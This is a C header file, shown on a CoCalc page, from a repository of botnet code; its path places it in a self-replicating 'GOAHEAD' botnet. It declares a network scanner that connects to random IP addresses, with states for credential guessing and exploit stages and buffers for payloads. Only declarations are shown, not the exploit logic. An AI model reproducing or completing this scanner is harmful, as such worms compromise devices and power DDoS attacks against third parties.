Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/GOAHEAD/goahead.h
5038 views
1
#pragma once
2
3
#include <stdint.h>
4
5
#include "includes.h"
6
7
#define SCANNER_MAX_CONNS 128
8
#define SCANNER_RAW_PPS 160
9
10
#define SCANNER_RDBUF_SIZE 256
11
#define SCANNER_HACK_DRAIN 64
12
13
struct scanner_connection
14
{
15
int fd, last_recv;
16
enum
17
{
18
SC_CLOSED,
19
SC_CONNECTING,
20
SC_GET_CREDENTIALS,
21
SC_EXPLOIT_STAGE2,
22
SC_EXPLOIT_STAGE3,
23
} state;
24
ipv4_t dst_addr;
25
uint16_t dst_port;
26
int rdbuf_pos;
27
char rdbuf[SCANNER_RDBUF_SIZE];
28
char **credentials;
29
char payload_buf[256], payload_buf2[256];
30
int credential_index;
31
};
32
33
void scanner_init();
34
void scanner_kill(void);
35
36
static void setup_connection(struct scanner_connection *);
37
static ipv4_t get_random_ip(void);
38
39